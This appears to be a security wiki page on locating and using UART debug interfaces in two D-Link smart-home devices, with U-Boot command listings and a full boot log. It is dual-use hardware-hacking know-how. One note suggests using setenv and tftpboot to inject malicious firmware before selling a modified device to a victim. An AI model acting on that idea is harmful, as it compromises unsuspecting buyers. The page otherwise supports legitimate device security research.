<p style="text-align: justify">Universal Asynchronous Transmitter and Receiver (UART) serial interface is a rather old hardware component which is still the standard debugging interface of most microcontrollers. Data transmission takes place directly via the Transmit (TX) and Receive (RX) lines without handshake so that no additional lines are required. This type of serial communication is referred to as TTL-UART and is only suitable for data transmission over short distances. However, a common GND connection is indispensable for error-free data transmission. The RS-232 standard, on the other hand, uses six additional control lines. In the following, the term UART will refer to a TTL-UART (Transistor-Transistor Logic). Furthermore, no distinction is made between UART and the more specific USART (Universal Synchronous Asynchronous Receiver Transmitter) component.</p>

<p style="text-align: justify"><b>Identification</b> of potential UART interfaces can be done after the devices have been dissembled so that the PCB is freely accessible. The basic rule for identifying UART interfaces is to search for 3 or 4 contiguous pins, holes, or pads on the exposed board. These may be placed and labeled in obvious locations, or they may be hidden between other test points. Alternatively, the conductor tracks on the PCB can be evaluated. This method is especially useful when searching for hidden interfaces.</p>

<p style="text-align: justify"><b>Confirmation</b> is still required after identifying a potential UART interface. A logic analyzer or oscilloscope are of great advantage here, since they can determine the pin assignment very conveniently. In the case of the UART, this is not necessary, since the pin assignment can also be determined with a multimeter and some trial-and-error. GND is determined by a continuity test and VCC by its constant voltage. UART usually transmits with 3.3V, but in some cases, it can also be 1.8V or 5V. In the best case, TX is transmitting when determining the pin assignment, and a varying voltage between 0V and VCC can be observed since TX is the active component of the UART. If TX is not transmitting, there will be no voltage on RX and TX. Then it is necessary to check which of the two pins reacts to the input of the terminal and which one provides the output on display. The VCC connector does not need to be present or used in such a setup. It is best avoided, as incorrect wiring can cause damage to the host or slave if the electronics do not have suitable protection mechanisms. In rare cases, the GND pin will also be omitted. UART does not have to provide a designated GND pin but can be connected to the ground plane of the PCB at any point. The [https://wiki.elvis.science/index.php?title=JTAGulator JTAGulator] may also be used for convenient UART detection, by following the guide "[[JTAGulator: Find IoT-Device's UART interface]]" or by following these quick steps using a common multimeter DVOM:</p>

<ul>
<li><b>GrouND (GND)</b>: Use the continuity test (beeper) on your DVOM. Place one of the test leads on the pin in question and touch with the other lead any connection to ground on the PCB board. These are most visible golden contacts with no electronic soldered to it or for example the metal cover on a WIFI chip.</li>
<li><b>Voltage (VCC)</b>: Note that this pin can cause damage if misconnected! Set the DVOM to Direct Current (DC) with the Voltage (V) limit just above 5V. Place one of the test leads on the pin in question and touch with the other lead any connection to ground (could be a plug socket). A constant Voltage of 1,8V, 3,3V or 5V must be detected on one pin.</li>
<li><b>Transmit (TX)</b>: The active, sending component of the interface. While using the same configuration on the DVOM as for the VCC pin, this pin should have varying voltage since it is (usually) transmitting data by default.</li>
<li><b>Receive (RX)</b>: The passive, receiving component of the interface. While using the same configuration on the DVOM as for the VCC pin, this pin should have constant voltage of 0V since it is only listening for incoming data. But it shouldn't pass the continuity test as for detecting GND.</li>
</ul>

<p style="text-align: justify">A <b>Connection</b> via serial console can be established as soon as a corresponding UART interface is identified and confirmed. Examples of serial console programs are [https://www.decisivetactics.com/products/serial/ Serial] (macOS), [https://salsa.debian.org/minicom-team/minicom minicom] (UNIX) and [https://www.putty.org/ Putty] (Windoofs), and a USB-to-TTL converter is most likely required with modern computers. Its use requires additional configuration of the console of the terminal device from which the connection is to be established. This includes the specification of Baudrate in bits per second, Data Bits (7 or 8), Parity (none, even or odd) and Stop Bits (1 or 2). The configuration of the baud rate, which specifies the transmission rate in bits per second, should be sufficient in most cases. An oscilloscope or a logic analyzer can be used again to determine the baud rate. Alternatively, the usual baud rates, such as 9600, 19200, 38400, 57600, and 115200 b/s, can be tried out until something readable appears in the terminal. A wrong configuration will result in data not being recognized correctly, both when sending and receiving data, and thus pure gibberish will be displayed. Additional configurations should not be necessary, as it rarely deviates from the standard configuration of (8N1), which stands for 8 data bits, parity none, and one stop bit. The result of this configuration is an interface to the local terminal of the target devices, which can be used in further steps to analyze or extract the firmware.</p>

<div class="toccolours mw-collapsible mw-collapsed" style="background-color: white; calc(100% - 12px); overflow:auto;">
<div style="font-weight:bold;line-height:1.6;">ⓘ PCB: UART Pinout</div>
<div class="mw-collapsible-content">
<div style="font-size: 12px !important">

<gallery caption="DCH-G020 Home Hub: Webpage" mode="packed-hover" style="border: 1px solid #a7d7f9; background-color: #f8f9fa; border-radius: 3px" heights=250px>
image:DCH-S150 PCB UART.jpg|DCH-S150
image:DCH-G020 PCB UART.jpg|DCH-G020
</gallery>

</div>
</div>
</div>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: When using a Raspberry Pi, the GPIOs 14 and 15 respectively, which are pins 8 and 10 on the GPIO header, need to be reconfigured in order to use UART instead of BT. Here the official [https://www.raspberrypi.org/documentation/configuration/uart.md raspberry pi documentation] can be referred to.</div>

<p style="text-align: justify">After setting up a serial client in any form, the command line tool "minicom" can be used on UNIX-based systems to initialize a connection. Refer to the following bash script to start the console client (e.g. Raspberry Pi 2b+ (/dev/ttyAMA0)), providing additional functions in order to manage logs per UART session. The script accepts the baudrate as first and the serial interface as second parameter.</p>
<div class="toccolours mw-collapsible mw-collapsed" style="border-color: lightgrey; background-color: white; calc(100% - 12px); overflow:auto;">
<div style="font-weight:bold;line-height:1.6;">ⓘ openConsole.sh $BAUD_RATE $DEVICE</div>
<div class="mw-collapsible-content">
<syntaxhighlight lang="bash">
#!/bin/bash
BAUD_RATE=$1
$DEVICE=$2
SPWD="$( cd "$(dirname "$0")" ; pwd -P )"
LOG=$SPWD/logs/minicom_$(date -u +"_%Y-%m-%d_%H:%M:%S").log

minicom -b $BAUD_RATE -o -D $DEVICE -C $LOG

echo -e "\033[1mLog: \033[0m"$LOG"\033[1m"
echo -e -n "Delete (\033[0;31mrm\033[0m) || Save and See (\033[0;31mcat\033[0m) || Move (\033[0;31mmv\033[0m)? "
read -p '' choice
case "$choice" in
"rm" ) rm $LOG;;
"cat" ) cat $LOG;;
"mv" ) read -p "Destination: "$SPWD F && mv $LOG $SPWD$F;;
esac

ls -Ali $SPWD"/logs" | sed '/^t/d'
</syntaxhighlight>
</div>
</div>

<h3>Bootloader</h3>
<p style="text-align: justify">The Bootloader is of great interest. The Universal Bootloader (U-Boot) is possibly the most frequently used in the embedded world. U-Boot offers a shell that can be accessed when the system is booting third-stage. To do this, the autoboot process must be interrupted, which usually gives a few seconds to do so by pressing the appropriate key. The available options, such as the boot delay and key-to-press, are displayed on the console. The bootloader can be password protected, which was not the case with any tested device here. From the bootloader, several useful actions can be performed. Firmware dumps or updates can also be performed from the bootloader, which owns the highest privileges and full access to the hardware without restrictions.</p>

<div class="toccolours mw-collapsible mw-collapsed" style="background-color: white; calc(100% - 12px); overflow:auto;">
<div style="font-weight:bold;line-height:1.6;">ⓘ D-Link® DCH-G020: Gateway Connected Home Hub</div>
<div class="mw-collapsible-content">
<div style="font-size: 12px !important">
<nowiki>ath> ?
? - alias for 'help'
boot - boot default, i.e., run 'bootcmd'
bootd - boot default, i.e., run 'bootcmd'
bootm - boot application image from memory
cp - memory copy
erase - erase FLASH memory
help - print online help
httpd - simple httpd server
md - memory display
mm - memory modify (auto-incrementing)
mtest - simple RAM test
mw - memory write (fill)
nm - memory modify (constant address)
ping - send ICMP ECHO_REQUEST to network host
printenv- print environment variables
progmac - Set ethernet MAC addresses
progmac2 - Set ethernet MAC addresses
reset - Perform RESET of the CPU
run - run commands in an environment variable
setenv - set environment variables
tftpboot- boot image via network using TFTP protocol
version - print monitor version
ath> version

U-Boot 1.1.4--LSDK-10.1.432 (Mar 17 2015 - 19:24:10)
ath> printenv
bootargs=console=ttyS0,115200 root=31:6 rootfstype=squashfs init=/sbin/init mtdparts=ath-nor0:64k(u-boot),64k(ART),64k(MP),64k(config),64k(bootarg),2048k(uImage),12736k(rootfs1),64k(log),512k(mydlink),512k(data1),128k(data2),64k(data3)
bootcmd=bootm 0x9f050000
bootdelay=2
baudrate=115200
ethaddr=0x00:0xaa:0xbb:0xcc:0xdd:0xee
ipaddr=192.168.0.60
serverip=192.168.0.100
dir=
lu=tftp 0x80060000 ${dir}tuboot.bin&&erase 0x9f000000 +$filesize&&cp.b $fileaddr 0x9f000000 $filesize
lf=tftp 0x80060000 ${dir}ap143${bc}-jffs2&&erase 0x9f010000 +$filesize&&cp.b $fileaddr 0x9f010000 $filesize
lk=tftp 0x80060000 ${dir}vmlinux${bc}.lzma.uImage&&erase 0x9f300000 +$filesize&&cp.b $fileaddr 0x9f300000 $filesize
stdin=serial
stdout=serial
stderr=serial
ethact=eth0

Environment size: 754/65532 bytes
ath> </nowiki>
</div>
</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: lightgrey; background-color: white; calc(100% - 12px); overflow:auto;">
<div style="font-weight:bold;line-height:1.6;">ⓘ D-Link<sup>®</sup> DCH-S150: Home Wi-Fi Motion Sensor</div>
<div class="mw-collapsible-content">
<div style="font-size: 12px !important">
<nowiki>
ath> ?
? - alias for 'help'
boot - boot default, i.e., run 'bootcmd'
bootd - boot default, i.e., run 'bootcmd'
bootm - boot application image from memory
cp - memory copy
erase - erase FLASH memory
help - print online help
md - memory display
mm - memory modify (auto-incrementing)
mtest - simple RAM test
mw - memory write (fill)
nm - memory modify (constant address)
ping - send ICMP ECHO_REQUEST to network host
printenv - print environment variables
progmac - Set ethernet MAC addresses
progmac2 - Set ethernet MAC addresses
reset - Perform RESET of the CPU
run - run commands in an environment variable
setenv - set environment variables
tftpboot - boot image via network using TFTP protocol
version - print monitor version

ath> printenv

bootargs=console=ttyS0,115200 root=31:08 rootfstype=squashfs init=/sbin/init mtdparts=ath-nor0:64k(u-boot),64k(A)
bootcmd=bootm 0x9f2b0000; setenv bootargs console=ttyS0,115200 root=31:06 rootfstype=squashfs init=/sbin/init m0
bootdelay=2
baudrate=115200
ethaddr=0x00:0xaa:0xbb:0xcc:0xdd:0xee
ipaddr=192.168.0.60
serverip=192.168.0.100
dir=
lu=tftp 0x80060000 ${dir}tuboot.bin&&erase 0x9f000000 +$filesize&&cp.b $fileaddr 0x9f000000 $filesize
lf=tftp 0x80060000 ${dir}ap143${bc}-jffs2&&erase 0x9f010000 +$filesize&&cp.b $fileaddr 0x9f010000 $filesize
lk=tftp 0x80060000 ${dir}vmlinux${bc}.lzma.uImage&&erase 0ø9f300000 +$filesize&&cp.b $fileaddr 0x9f300000 $filese

stdin=serial
stdout=serial
stderr=serial
ethact=eth0

Environment size: 1106/65532 bytes</nowiki>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: From those commands provided by U-Boot, the "setenv" and "tftpboot" could be very interesting to inject a mallicious firmware, f.e. before selling the modified device over the internet to a potential victim.</div>

</div>
</div>
</div>

<h3>Bootlog</h3>

<p style="text-align: justify">The Bootlog contains messages which are issued by the bootloader, kernel, OS, or applications via standard output (stdout) or standard error (stderr) streams during the booting phase of the device, which presents the first wave of information to be processed as it already defines entry points and influences subsequent analysis steps. The information contained in the bootlog can be system status; available firmware images; kernel version and command-line; busybox version; processor and board information; memory and storage types used; network interfaces and configuration; protocols or applications running; firmware and hardware version; MTD device partitions and file systems. These are just a few examples, but the developers can implement ridiculous things. From printing configurations and custom developer messages to clear-text credentials, much information can be leaked this way, which makes up a large part of the results of this case study.</p>

<div class="toccolours mw-collapsible mw-collapsed" style="background-color: white; calc(100% - 12px); overflow:auto;">
<div style="font-weight:bold;line-height:1.6;">ⓘ D-Link® DCH-G020: Gateway Connected Home Hub</div>
<div class="mw-collapsible-content">
<div style="font-size: 12px !important">

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: First start the device, then connect GND! RX and TX can be connected before. You may need to remove the battery. You may need to set the baudrate to 118000 (8N1)</div>

<nowiki>U-Boot 1.1.4--LSDK-10.1.432 (Mar 17 2015 - 19:24:10)

ap143 - Honey Bee 1.0

DRAM: 64 MB
Top of RAM usable for U-Boot at: 84000000
Reserving 157k for U-Boot at: 83fd8000
Reserving 192k for malloc() at: 83fa8000
Reserving 44 Bytes for Board Info at: 83fa7fd4
Reserving 36 Bytes for Global Data at: 83fa7fb0
Reserving 128k for boot params() at: 83f87fb0
Stack Pointer at: 83f87f98
Now running in RAM - U-Boot at: 83fd8000
============================================
Date:Mar 17 2015 Time:19:24:10
Loader Version: v1.01 Build:01
Module Name: DCH-G020X
============================================
Flash Manuf Id 0xc2, DeviceId0 0x20, DeviceId1 0x18
flash size 16MB, sector count = 256
Flash: 16 MB
* Scan for Linux kernel images ...
* Linux kernel found at 9F050000
* Scan completed.
Only one Linux kernel image found.

Using default environment

In: serial
Out: serial
Err: serial
Net: ath_gmac_enet_initialize...
ath_gmac_enet_initialize: reset mask:c02200
Scorpion ---->S27 PHY*
S27 reg init
: cfg1 0x800c0000 cfg2 0x7114
eth0: c4:12:f5:1a:58:f4
athrs27_phy_setup ATHR_PHY_CONTROL 4 :1000
athrs27_phy_setup ATHR_PHY_SPEC_STAUS 4 :10
eth0 up
Honey Bee ----> MAC 1 S27 PHY *
S27 reg init
ATHRS27: resetting s27
ATHRS27: s27 reset done
: cfg1 0x800c0000 cfg2 0x7214
eth1: c4:12:f5:1a:58:f4
athrs27_phy_setup ATHR_PHY_CONTROL 0 :1000
athrs27_phy_setup ATHR_PHY_SPEC_STAUS 0 :10
athrs27_phy_setup ATHR_PHY_CONTROL 1 :1000
athrs27_phy_setup ATHR_PHY_SPEC_STAUS 1 :10
athrs27_phy_setup ATHR_PHY_CONTROL 2 :1000
athrs27_phy_setup ATHR_PHY_SPEC_STAUS 2 :10
athrs27_phy_setup ATHR_PHY_CONTROL 3 :1000
athrs27_phy_setup ATHR_PHY_SPEC_STAUS 3 :10
eth1 up
eth0, eth1
Setting 0x181162c0 to 0x1831a100
Hit any key to stop autoboot: 2 �� 1 �� 0
## Booting image at 9æ050000 ...
Image Name: Linux Kernel Image
Created: 201606-29 9:47:18 UTC
Image Type: MIPS Linux Kernel Image (lzma compressed)
Data Size: 989864 Bytes = 966.7 kB
Load Addressº 80002000
Entry Point: 8023dd00
Verifying Checksum at 0x9f°50040 ...OK
Uncompressing Kernel Image ... OK
No initrd
## Transferring control to Linux (at address 8023dd00) ...
## Géving linux memsize in bytes, 67108864

Starting kernel ...

Booting QCA953x
Linux version 2.6.31 (adminuser@adminuser-VirtualBox) (gcc version 4.3.3 (GCC) ) #1 Wed Jun 29 05:43:21 EDT 2016
flash_size passed from bootloader = 16
arg 1: console=ttyS0,115200
arg 2: root=31:6
arg 3: rootfstype=squashfs
arg 4: init=/sbin/init
arg 5: mtdparts=ath-nor0:64k(u-boot),64k(ART),64k(MP),64k(config),64k(bootarg),2048k(uImage),12736k(rootfs1),64k(log),512k(mydlink),512k(data1),128k(data2),64k(data3)
arg 6: mem=64M
CPU revision is: 00019374 (MIPS 24Kc)
ath_sys_frequency: cpu apb ddr apb cpu 550 ddr 400 ahb 200
Determined physical RAM map:
memory: 02000000 @ 00000000 (usable)
User-defined physical RAM map:
memory: 04000000 @ 00000000 (usable)
Zone PFN ranges:
Normal 0x00000000 -> 0x00004000
Movable zone start PFN for each node
early_node_map[1] active PFN ranges
0: 0x00000000 -> 0x00004000
Built 1 zonelists in Zone order, mobility grouping on. Total pages: 16256
Kernel command line: console=ttyS0,115200 root=31:6 rootfstype=squashfs init=/sbin/init mtdparts=ath-nor0:64k(u-boot),64k(ART),64k(MP),64k(config),64k(bootarg),2048k(uImage),12736k(rootfs1),64k(log),512k(mydlink),512k(data1),128k(data2),64k(data3) mem=64M
PID hash table entries: 256 (order: 8, 1024 bytes)
Dentry cache hash table entries: 8192 (order: 3, 32768 bytes)
Inode-cache hash table entries: 4096 (order: 2, 16384 bytes)
Primary instruction cache 64kB, VIPT, 4-way, linesize 32 bytes.
Primary data cache 32kB, 4-way, VIPT, cache aliases, linesize 32 bytes
Writing ErrCtl register=00000000
Readback ErrCtl register=00000000
Memory: 55732k/65536k available (2303k kernel code, 9728k reserved, 478k data, 120k init, 0k highmem)
NR_IRQS:128
plat_time_init: plat time init done
Calibrating delay loop... 365.56 BogoMIPS (lpj=731136)
Mount-cache hash table entries: 512

****************ALLOC***********************
Packet mem: 802e84a0 (0x600000 bytes)
********************************************

NET: Registered protocol family 16
bio: create slab <bio-0> at 0
usbcore: registered new interface driver usbfs
usbcore: registered new interface driver hub
usbcore: registered new device driver usb
NET: Registered protocol family 2
IP route cache hash table entries: 1024 (order: 0, 4096 bytes)
TCP established hash table entries: 2048 (order: 2, 16384 bytes)
TCP bind hash table entries: 2048 (order: 1, 8192 bytes)
TCP: Hash tables configured (established 2048 bind 2048)
TCP reno registered
NET: Registered protocol family 1
ATH GPIOC major 0
squashfs: version 4.0 (2009/01/31) Phillip Lougher
JFFS2 version 2.2 (NAND) (ZLIB) (RTIME) (c) 2001-2006 Red Hat, Inc.
msgmni has been set to 109
alg: No test for stdrng (krng)
io scheduler noop registered (default)
Serial: 8250/16550 driver, 1 ports, IRQ sharing disabled
serial8250.0: ttyS0 at MMIO 0xb8020000 (irq = 19) is a 16550A
console [ttyS0] enabled
loop: module loaded
12 cmdlinepart partitions found on MTD device ath-nor0
Creating 12 MTD partitions on "ath-nor0":
0x000000000000-0x000000010000 : "u-boot"
0x000000010000-0x000000020000 : "ART"
0x000000020000-0x000000030000 : "MP"
0x000000030000-0x000000040000 : "config"
0x000000040000-0x000000050000 : "bootarg"
0x000000050000-0x000000250000 : "uImage"
0x000000250000-0x000000ec0000 : "rootfs1"
0x000000ec0000-0x000000ed0000 : "log"
0x000000ed0000-0x000000f50000 : "mydlink"
0x000000f50000-0x000000fd0000 : "data1"
0x000000fd0000-0x000000ff0000 : "data2"
0x000000ff0000-0x000001000000 : "data3"
usbmon: debugfs is not available
ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver
Port Status 1c000004
ath-ehci ath-ehci.0: ATH EHCI
ath-ehci ath-ehci.0: new USB bus registered, assigned bus number 1
ehci_reset Intialize USB CONTROLLER in host mode: 13
ehci_reset Port Status 1c000000
ath-ehci ath-ehci.0: irq 3, io mem 0x1b000000
ehci_reset Intialize USB CONTROLLER in host mode: 13
ehci_reset Port Status 1c000000
ath-ehci ath-ehci.0: USB 2.0 started, EHCI 1.00
usb usb1: New USB device found, idVendor=1d6b, idProduct=0002
usb usb1: New USB device strings: Mfr=3, Product=2, SerialNumber=1
usb usb1: Product: ATH EHCI
usb usb1: Manufacturer: Linux 2.6.31 ehci_hcd
usb usb1: SerialNumber: platform
usb usb1: configuration #1 chosen from 1 choice
hub 1-0:1.0: USB hub found
hub 1-0:1.0: 1 port detected
usbcore: registered new interface driver cdc_acm
cdc_acm: v0.26:USB Abstract Control Model driver for USB modems and ISDN adapters
usbcore: registered new interface driver usbserial
USB Serial support registered for generic
usbcore: registered new interface driver usbserial_generic
usbserial: USB Serial Driver core
USB Serial support registered for cp210x
usbcore: registered new interface driver cp210x
cp210x: v0.09:Silicon Labs CP210x RS232 serial adaptor driver
USB Serial support registered for pl2303
usbcore: registered new interface driver pl2303
pl2303: Prolific PL2303 USB to serial adaptor driver
nf_conntrack version 0.5.0 (1024 buckets, 4096 max)
TCP cubic registered
NET: Registered protocol family 10
IPv6 over IPv4 tunneling driver
NET: Registered protocol family 17
Bridge firewalling registered
RPC: Registered udp transport module.
RPC: Registered tcp transport module.
arch/mips/atheros/gpio.c (ath_simple_config_init) MP_GPIO: 15
arch/mips/atheros/gpio.c (ath_simple_config_init) RESET_BTN_GPIO: 17, RESET_BTN_TRIGGER_LEVEL: 0
arch/mips/atheros/gpio.c (ath_simple_config_init) WPS_BTN_GPIO: 3, WPS_BTN_TRIGGER_LEVEL: 0
arch/mips/atheros/gpio.c (ath_simple_config_init) WPS_LED_GPIO: 11, LED_ACTIVE_LEVEL: 0
arch/mips/atheros/gpio.c (ath_simple_config_init) I2C_SDA_GPIO: 0, INT_I2C_LOW: 0
arch/mips/atheros/gpio.c (ath_simple_config_init) I2C_SCL_GPIO: 1, INT_I2C_LOW: 0
arch/mips/atheros/gpio.c (ath_simple_config_init) POWER_LED_GPIO1: 13, LED_ACTIVE_LEVEL: 0
arch/mips/atheros/gpio.c (ath_simple_config_init) POWER_LED_GPIO2: 14
VFS: Mounted root (squashfs filesystem) readonly on device 31:6.
Freeing unused kernel memory: 120k freed
init started: BusyBox v1.21.1--LSDK-10.2-00082-4 (2016-06-29 05:45:06 EDT)
starting pid 177, tty '': '/etc/rc.d/rcS'
QCA953x Watchdog Timer enabled (30 seconds, nowayout)
<pca9554_config_set|42> i2c_value = 70
<pca9554_config_set|47> i2c_value = 03
<pca9554_config_set|52> i2c_value = 00
<pca9554_output_set|100> i2c_value = 70
<pca9554_output_set|105> i2c_value = 01
<pca9554_output_set|110> i2c_value = ff

vm.panic_on_oom = 1
kernel.panic = 2

Please press Enter to activate this console. Wed Jun 29 00:00:00 UTC 2016
128+0 records in
128+0 records out
[control_center.c] dch mtd found: mtd8
[control_center.c] kernel jffs2 support detected.
[control_center.c] mount /dev/mtdblock8 to /dch.
killall: zw_meter_check: no process killed
killall: zw_center: no process killed
<pca9554_output_set|100> i2c_value = 70
<pca9554_output_set|105> i2c_value = 01
<pca9554_output_set|110> i2c_value = 02
<pca9554_output_set|100> i2c_value = 70

128+0 records in
128+0 records out
<pca9554_output_set|105> i2c_val/dev/watchdog device found. Try to launch watchdog daemon.
ue = 01

usb 1-1: new high speed USB device using ath-ehci and address 2
qca955x_GMAC: Length per segment 1536
953x_GMAC: qca953x_gmac_attach
Link Int Enabled
qca953x_set_gmac_caps CHECK DMA STATUS
mac:0 Registering S27....
qca955x_GMAC: RX TASKLET - Pkts per Intr:18
qca955x_GMAC: unit 0 --> c4:12:f5:1a:58:f4
<pca9554_output_set|110> i2c_value = 00

qca955x_GMAC: Max segments per packet : 1
qca955x_GMAC: Max tx descriptor count : 512
qca955x_GMAC: Max rx descriptor count : 128
qca955x_GMAC: Mac capability flags : 2581
953x_GMAC: qca953x_gmac_attach
Link Int Enabled
qca953x_set_gmac_caps CHECK DMA STATUS
mac:1 Registering S27....
qca955x_GMAC: RX TASKLET - Pkts per Intr:18
qca955x_GMAC: unit 1 --> c4:12:f5:1a:58:f4
qca955x_GMAC: Max segments per packet : 1
qca955x_GMAC: Max tx descriptor count : 512
qca955x_GMAC: Max rx descriptor count : 128
qca955x_GMAC: Mac capability flags : 2D81
usb 1-1: New USB device found, idVendor=05e3, idProduct=0608
usb 1-1: New USB device strings: Mfr=0, Product=1, SerialNumber=0
usb 1-1: Product: USB2.0 Hub
usb 1-1: configuration #1 chosen from 1 choice
hub 1-1:1.0: USB hub found
hub 1-1:1.0: 4 ports detected
usb 1-1.1: new full speed USB device using ath-ehci and address 3
usb 1-1.1: New USB device found, idVendor=0658, idProduct=0200
usb 1-1.1: New USB device strings: Mfr=0, Product=0, SerialNumber=0
usb 1-1.1: configuration #1 chosen from 1 choice
cdc_acm 1-1.1:1.0: This device cannot do calls on its own. It is not a modem.
cdc_acm 1-1.1:1.0: ttyACM0: USB ACM device
asf: module license 'Proprietary' taints kernel.
Disabling lock debugging due to kernel taint
ath_hal: 0.9.17.1 (AR5416, AR9380, REGOPS_FUNC, WRITE_EEPROM, TX_DATA_SWAP, RX_DATA_SWAP, 11D)
athr_gmac_ring_alloc Allocated 8192 at 0x82c94000
athr_gmac_ring_alloc Allocated 2048 at 0x82c96800
HONEYBEE ----> S27 PHY MDIO
ATHRS27: resetting s27
ATHRS27: s27 reset done
Setting Drop CRC Errors, Pause Frames and Length Error frames
Setting PHY...
ath_rate_atheros: Copyright (c) 2001-2005 Atheros Communications, Inc, All Rights Reserved
ath_dev: Copyright (c) 2001-2007 Atheros Communications, Inc, All Rights Reserved
enet1 port0 up 100Mbps Full duplex
953x_GMAC: Enet Unit:1 PHY:0 is UP eth1 RGMII 1000Mbps full duplex
953x_GMAC: done cfg2 0x7215 ifctl 0x0 miictrl
Setting Drop CRC Errors, Pause Frames and Length Error frames
Control Center(219) : Recive a request(6) from 0
receive LAN_CABLE_UP_EVENT
ath_ahb: 10.2-00082-4 (Atheros/multi-bss)
__ath_attach: Set global_scn[0]
Enterprise mode: 0x03fc0000
Restoring Cal data from Flash
Green-AP : Green-AP : Attached

ath_get_caps[6148] rx chainmask mismatch actual 3 sc_chainmak 0
ath_get_caps[6123] tx chainmask mismatch actual 3 sc_chainmak 0
ADDRCONF(NETDEV_UP): eth1: link is not ready
ADDRCONF(NETDEV_CHANGE): eth1: link becomes ready
SC Callback Registration for wifi0
wifi0: Atheros ???: mem=0xb8100000, irq=2
ath_pci: 10.2-00082-4 (Atheros/multi-bss)
device eth1 entered promiscuous mode
br0: port 1(eth1) entering learning state
route: resolving dev
Control Center(219) : Recive a request(408) from 287
Application Center(247) : Recive a request(408) from 219
Control Center(219) : Recive a request(414) from 287
br0: port 1(eth1) entering forwarding state
Control Center(219) : Recive a response(408) from 247
Application Center(247) : Recive a request(414) from 219
udhcpc (v1.21.1--LSDK-10.2-00082-4) started
br0 Link encap:Ethernet HWaddr C4:12:F5:1A:58:F4
inet addr:192.168.0.60 Bcast:192.168.0.255 Mask:255.255.255.0
inet6 addr: fe80::fc31:aaff:fe11:a844/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:5 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 B) TX bytes:398 (398.0 B)

Sending discover...
Failed to kill daemon: No such file or directory
VAP device ath0 created
ath0
Control Center(219) : Recive a response(414) from 247
Sending select for 192.168.0.251...
Lease of 192.168.0.251 obtained, lease time 3600
deleting routers
route: ioctl 0x890c failed: No such process
adding dns 192.168.0.1
Control Center(219) : Recive a request(9) from 383
<led_center:977>: CMD MATCHED cmd = 9
Application Center(247) : Recive a request(418) from 219
killall: llmnr: no process killed
killall: dlink_time_sync: no process killed
42548 00011.587 194675.0 130.9 88128473355622.3 55343.6 0
killall: send_device_info: no process killed
Control Center(219) : Recive a request(427) from 450
killall: crond: no process killed
Control Center(219) : Recive a request(8) from 383
<led_center:977>: CMD MATCHED cmd = 8
DCHC Center(291) : Recive a request(3021) from 219
Control Center(219) : Recive a response(3021) from 291
Control Center(219) : Recive a response(418) from 247
Application Center(247) : Recive a request(416) from 219
killall: mdns-scan: no process killed
Control Center(219) : Recive a response(416) from 247
Application Center(247) : Recive a request(422) from 219
killall: chkfwd: no process killed
Control Center(219) : Recive a response(422) from 247
Application Center(247) : Recive a request(427) from 219
Control Center(219) : Recive a response(427) from 247
Application Center(247) : Recive a request(426) from 219
[ System Message ]:Load AesEncrypt By Payload
killall: dch_scheduler: no process killed
Control Center(219) : Recive a response(426) from 247
Control Center(219) : Recive a request(426) from 450
Application Center(247) : Recive a request(426) from 219
Control Center(219) : Recive a response(426) from 247
[ System Message ]:Check duplicate launcher = [ ]
[ System Message ]:Retry to Get Miiicasa Version...

DES SSID SET=DCH-G020-58F4
ieee80211_ioctl_siwmode: imr.ifm_active=131712, new mode=3, valid=1
Interface doesn't accept private ioctl...
ForBiasAuto (8BE0): Operation not permitted
Set freq vap stop send + 83944000
Set freq vap stop send -83944000
rm: can't remove '/tmp/catver': No such file or directory
EXECUTE: wget -O /tmp/catver http://api.dch.dlink.com/agent/upgrade?p=ZgSet wait done --83944000
iDIrwvluRC0zpQr1K%2B84h7GSf96lTMNfBCwQcGtmt4TvYNU9kkzyW9GCaUafmaDRkYw7YQzDERLNOMaAqWhURPdhlpvQt4smuy3%2FucT4ilPrzhgO26zUagIoarwYhl&iv=ei4ns9CIBPN4oVHJ18PHqw%3D%3D in 300 seconds.
--2019-04-15 02:08:06-- http://api.dch.dlink.com/agent/upgrade?p=ZgiDIrwvluRC0zpQr1K%2B84h7GSf96lTMNfBCwQcGtmt4TvYNU9kkzyW9GCaUafmaDRkYw7YQzDERLNOMaAqWhURPdhlpvQt4smuy3%2FucT4ilPrzhgO26zUagIoarwYhl&iv=ei4ns9CIBPN4oVHJ18PHqw%3D%3D
Resolving api.dch.dlink.com... 18.196.6.196, 52.29.105.102
Connecting to api.dch.dlink.com|18.196.6.196|:80... connected.
HTTP request sent, awaiting response... --2019-04-15 02:08:07-- http://127.0.0.1:5459/ws/api/getVersion
Connecting to 127.0.0.1:5459... failed: Connection refused.
200 OK
Length: 310 [text/html]
Saving to: `/tmp/catver'

0% [ ] 0 --.-K/s 100%[======================================>] 310 --.-K/s in 0s

2019-04-15 02:08:07 (2.81 MB/s) - `/tmp/catver' saved [310/310]

device ath0 entered promiscuous mode
br0: port 2(ath0) entering learning state
Configuration fi ieee80211_ioctl_siwmode: imr.ifm_active=393856, new mode=3, valid=1
le: /var/etc/oob_ieee80211_scan_unregister_event_handler: Failed to unregister evhandler=82e4bfc4 arg=83ff0000
.ap_bss
Scan in progress.. Cancelling it
br0: port 2(ath0) entering disabled state
DEVICE IS DOWN ifname=ath0
ath0: Could not DEVICE IS DOWN ifname=ath0
connect to kernel driver
Using interface ath0 with hwaddr c4:12:f5:1a:58:f4 and ssid 'DCH-G020-58F4'
[zw_center]:ZWave inital success!
Control Center(219) : Recive a request(513) from 344
<led_center:977>: CMD MATCHED cmd = 513
service_event : forward a zwave event to the zwave center(344)!
Remain 299 to kill 565 and restart
{"status":"ok","ver":"1.7.5","url":"http://s3-us-west-2.amazonaws.com/static-us-west.dch.dlink.com/firmware/agent/DCH-G020/D-Link-DCH-G020-1.7.5-AX","md5":"5e0ba8747132524622864a5262a1d50e"} -n
br0: port 2(ath0) entering learning state
V_SerVerStr:1.7.5 V_OriginVer:
[ System Message ]:Current Miiicasa Version: 1.7.5
